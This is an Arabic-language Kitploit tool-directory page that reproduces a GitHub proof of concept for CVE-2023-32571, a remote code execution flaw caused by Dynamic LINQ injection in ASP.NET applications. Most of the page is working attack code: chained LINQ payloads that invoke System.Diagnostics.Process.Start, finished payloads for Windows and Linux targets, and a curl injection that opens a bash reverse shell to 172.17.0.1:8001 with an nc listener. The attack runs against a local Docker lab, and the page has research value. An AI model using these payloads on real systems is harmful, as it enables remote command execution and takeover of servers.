Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-32571-POC — إثبات مفهوم لـ CVE-2023-32571، يوضح تنفيذ التعليمات البرمجية عن بُعد عبر حقن Dynamic LINQ في تطبيقات ASP.NET. يتضمن حمولات ومختبر Docker للاختبار. | Kitploit
أدوات/GitHubGitHub/tris0n/cve-2023-32571-poc
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمتطوير الحمولاتمختبرات وتدريب عملي
GitHubtris0n/cve-2023-32571-poc

CVE-2023-32571-POC

إثبات مفهوم لـ CVE-2023-32571، يوضح تنفيذ التعليمات البرمجية عن بُعد عبر حقن Dynamic LINQ في تطبيقات ASP.NET. يتضمن حمولات ومختبر Docker للاختبار.

عرض المستودع
72منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

حقن Dynamic Linq للوصول إلى تنفيذ الأوامر عن بُعد - CVE-2023-32571

حول حقن Dynamic Linq للوصول إلى تنفيذ الأوامر عن بُعد (CVE-2023-32571)

مؤخرًا، اكتشف أعضاء من مجموعة NCC ثغرة في Dynamic Linq تتيح للمهاجمين استدعاء دوال C# عبر حقن Linq، مما يجعل من الممكن الحصول على تنفيذ الأوامر عن بُعد.

على الرغم من تقرير RCE الخاص بـ Dynamic Linq، لم يقم أعضاء مجموعة NCC لسبب ما بتوفير إثبات المفهوم (POC) لتنفيذ الأوامر.

إثبات المفهوم (POC)

كما ورد في بحث مجموعة NCC، يمكننا استدعاء دوال C# من خلال "Invoke". وبهذا، يمكننا استدعاء "System.Diagnostics.Process.Start" وتنفيذ الأوامر على الخادم.

يمكننا استخدام طريقة "CreateInstanceFromAndUnwrap" لاستدعاء System.Diagnostics.Process عبر التجميعة.

الحمولة (Payload) لاستخدام طريقة System.AppDomain.CreateInstanceAndUnwrap:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()

الحمولة لاستدعاء System.Diagnostics.Process عبر طريقة :

انتقل إلى دليل المستودع: شغّل docker-compose:
CreateInstanceAndUnwrap
root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))

من خلال الوصول إلى دوال الفئة System.Diagnostics.Process، يمكننا استخدام طريقة System.Diagnostics.Process.Start لتنفيذ الأوامر على النظام:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))

ملاحظة: لاحظ أن الحمولة تبحث عن أول 3 دوال Start وتأخذ آخرها. فعلت ذلك لأن قائمة الدوال في System.Diagnostics.Process تحتوي على عدة دوال Start، والدالة التي نحتاجها هي الثالثة في القائمة.

الحمولة النهائية

أهداف ويندوز

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))

أهداف لينكس
root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))

لبدء المختبر، اتبع التعليمات

ثبّت docker و docker-compose:

Debian

root@kitploit:~
sudo apt update -y && sudo apt install docker.io docker-compose -y

Arch Linux
root@kitploit:~
sudo pacman -Syu && sudo pacman -S docker docker-compose

استنسخ هذا المستودع:

root@kitploit:~
git clone https://github.com/Tris0n/CVE-2023-32571-POC

root@kitploit:~
cd CVE-2023-32571-POC

root@kitploit:~
sudo docker-compose up --build

يبدأ تشغيل التطبيق على http://localhost:8000/

شرح المختبر

عند الوصول إلى مسار "/api/products" عبر طريقة POST، نرى أنه يعيد قائمة بالمنتجات:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

01 pn

من خلال إرسال معامل name في json، يمكننا تصفية المنتجات:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

02

بعد بعض الاختبارات، نرى أننا تمكنا من حقنها في استعلام Dynamic Linq. وبإرسال الحمولة التالية، تمكنا من الحصول على قشرة عكسية (reverse shell):

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

03

root@kitploit:~
nc -lvp 8001

04

المراجع

  • https://research.nccgroup.com/2023/06/13/dynamic-linq-injection-remote-code-execution-vulnerability-cve-2023-32571/
  • https://insinuator.net/2016/10/linq-injection-from-attacking-filters-to-code-execution/
  • https://github.com/advisories/GHSA-w65q-jcmv-28gj
تنزيل الأداة